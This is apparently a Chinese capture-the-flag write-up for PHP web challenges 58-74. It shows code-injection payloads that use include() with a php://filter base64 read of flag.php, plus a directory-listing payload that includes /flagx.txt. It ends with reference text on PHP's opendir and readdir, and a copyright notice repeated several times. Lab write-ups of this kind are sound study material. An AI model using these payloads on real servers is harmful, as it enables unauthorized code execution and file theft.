web 入门58-70

Web58-74 不定时

POST
c=include($_GET['url']);

GET
/?url=php://filter/read=convert.base64-encode/resource=flag.php

 base64解码：｛$flag="秀秀得了";｝

Web66-70

flag 换位置了
/flag.txt

Payload还可以用

 

73-74

c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("/flagx.txt");exit();

<?php
$path = __FILE__;

$dir = opendir(dirname($path));

while (($file = readdir($dir)) !== false){

echo $file.'<br>';

}

closedir($dir);

?> //返回当前目录的所有文件和目录。

pendir

pendir是php中的一个内置函数，用于打开目录句柄。其语法是opendir(path,context)，参数path必需，指规定要打开的目录路径。

 php opendir()函数

 opendir() 函数用于打开目录句柄，以便随后与其他目录函数（如closedir()，readdir()和rewinddir()）一起使用。

语法

opendir(path,context);

参数

　●　path：必需。规定要打开的目录路径。

　●　context：可选。规定目录句柄的环境。context 是可修改目录流的行为的一套选项。

返回值：成功则返回目录句柄资源。失败则返回 FALSE。

错误和异常：

　●　如果路径不是合法目录，或者由于许可限制或文件系统错误导致的目录不能打开，则抛出 E_WARNING 级别的错误。

 

readdir

(PHP 4, PHP 5, PHP 7)

readdir — 从目录句柄中读取条目

说明

readdir ([ resource $dir_handle ] ) : string

返回目录中下一个文件的文件名。文件名以在文件系统中的排序返回。

参数

dir_handle

目录句柄的 resource，之前由 opendir() 打开

返回值

成功则返回文件名 或者在失败时返回 FALSE

参考：php中文网

• PHP 手册
• 函数参考
• 文件系统相关扩展
• 目录

opendir是php中的一个内置函数，用于打开目录句柄。其语法是opendir(path,context)，参数path必需，指规定要打开的目录路径

---------------------
本文著作权归作者所有。
商业转载请联系作者获得授权，非商业转载请注明出处。
来源地址：https://www.php.cn/php-ask-431656.html
来源：php中文网(www.php.cn)
© 版权声明：转载请附上原文链接！

opendir是php中的一个内置函数，用于打开目录句柄。其语法是opendir(path,context)，参数path必需，指规定要打开的目录路径。

---------------------
本文著作权归作者所有。
商业转载请联系作者获得授权，非商业转载请注明出处。
来源地址：https://www.php.cn/php-ask-431656.html
来源：php中文网(www.php.cn)
© 版权声明：转载请附上原文链接！

opendir是php中的一个内置函数，用于打开目录句柄。其语法是opendir(path,context)，参数path必需，指规定要打开的目录路径。

---------------------
本文著作权归作者所有。
商业转载请联系作者获得授权，非商业转载请注明出处。
来源地址：https://www.php.cn/php-ask-431656.html
来源：php中文网(www.php.cn)
© 版权声明：转载请附上原文链接！

opendir是php中的一个内置函数，用于打开目录句柄。其语法是opendir(path,context)，参数path必需，指规定要打开的目录路径。

---------------------
本文著作权归作者所有。
商业转载请联系作者获得授权，非商业转载请注明出处。
来源地址：https://www.php.cn/php-ask-431656.html
来源：php中文网(www.php.cn)
© 版权声明：转载请附上原文链接！